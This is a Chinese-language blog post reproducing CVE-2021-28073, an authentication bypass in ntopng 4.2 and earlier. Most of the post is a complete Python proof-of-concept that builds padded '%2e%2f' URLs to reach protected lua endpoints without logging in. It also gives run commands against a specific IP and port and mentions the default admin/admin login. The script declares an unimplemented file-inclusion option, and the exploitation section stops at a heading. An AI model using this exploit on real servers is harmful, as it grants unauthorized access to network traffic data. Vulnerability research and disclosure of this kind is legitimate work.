ntopng 权限绕过 (CVE-2021-28073)

一、漏洞概述

ntopng是监控服务器网络流量的工具,对外提供Web页面。其4.2及以前的版本中存在一处权限绕过漏洞,利用该漏洞可以未授权访问目标任意接口。

二、影响范围

4.2及以前的版本

三、访问页面

四、漏洞复现

1、登录后台默认账号密码admin/admin访问任意接口,比如/lua/get_flows_data.lua能正常返回数据。

2、退出登录,访问接口会跳到登录页面

3、使用脚本

import sys

import requests

import argparse

import logging

def is_ntopng() -> bool:

    response = session.get(base_url, allow_redirects=False)

    return response.status_code == 302 and '/lua/login.lua' in response.headers.get('Location', '')

def get_base_length() -> int:

    for i in range(90, 120):

        url = base_url + '/lua/' + '%2e%2f' * i + 'as_stats.lua.css'

        response = session.get(url, allow_redirects=False)

        if response.status_code < 300:

            return 255 - 1 - i * 2 - len('as_stats.lua')

    for i in range(90, 120):

        url = base_url + '/lua/' + '%2e%2f' * i + 'get_macs_data.lua.css'

        response = session.get(url, allow_redirects=False)

        if response.status_code < 300:

            return 255 - 1 - i * 2 - len('get_macs_data.lua')

    return -1

def get_padding_length(path: str):

    padding_length = 255 - 1 - base_length - len(path)

    if padding_length % 2 == 1:

        raise RuntimeError(f'path {path} is not support')

    return int(padding_length / 2)

logging.basicConfig(stream=sys.stderr, level=logging.WARNING)

session = requests.Session()

session.headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'

if __name__ == '__main__':

    parser = argparse.ArgumentParser(description='CVE-2021-28073 POC for ntopng.')

    parser.add_argument('-u', '--url', help='base url for ntopng, eg: http://192.168.1.233:3000', metavar='<URL>', required=True)

    parser.add_argument('-v', '--verbose', default=False, action='store_true')

    

    subparsers = parser.add_subparsers(dest='action')

    baselength_command = subparsers.add_parser('baselength', help='get base path length of ntopng')

    generate_command = subparsers.add_parser('generate', help='generate the authenticate bypass url')

    generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)

    generate_command.add_argument('-p', '--path', help='lua pathname', metavar='<PATH>', required=True)

    generate_command = subparsers.add_parser('include', help='generate the arbitrary file inclusion url')

    generate_command.add_argument('-l', '--length', type=int, help='base path length of target ntopng', metavar='<LENGTH>', required=True)

    generate_command.add_argument('-i', '--include', help='path to include', metavar='<PATH>', required=True)

    args = parser.parse_args()

    if not args.action:

        parser.print_help()

        sys.exit(1)

    if args.verbose:

        logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)

    base_url = args.url.rstrip('/')

    

    # check target

    if not is_ntopng():

        raise RuntimeError('No Ntopng detected')

    if args.action == 'baselength':

        base_length = get_base_length()

        sys.stdout.write(f'ntopng install path length: {base_length}\n')

    elif args.action == 'generate':

        base_length = args.length

        path = args.path

        sys.stdout.write(base_url + '/lua/' + '%2e%2f' * get_padding_length(path) + path + '.css\n')

首先,计算出ntopng lua目录的长度,使用命令:

python poc.py --url http://123.58.224.8:20379/ baselength

然后执行:

python poc.py --url http://123.58.224.8:20379/ generate -l 36 -p get_flows_data.lua

复制生成的url到一个未登录或新的浏览器中进行访问

五、漏洞利用

1、接口fuzz

  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值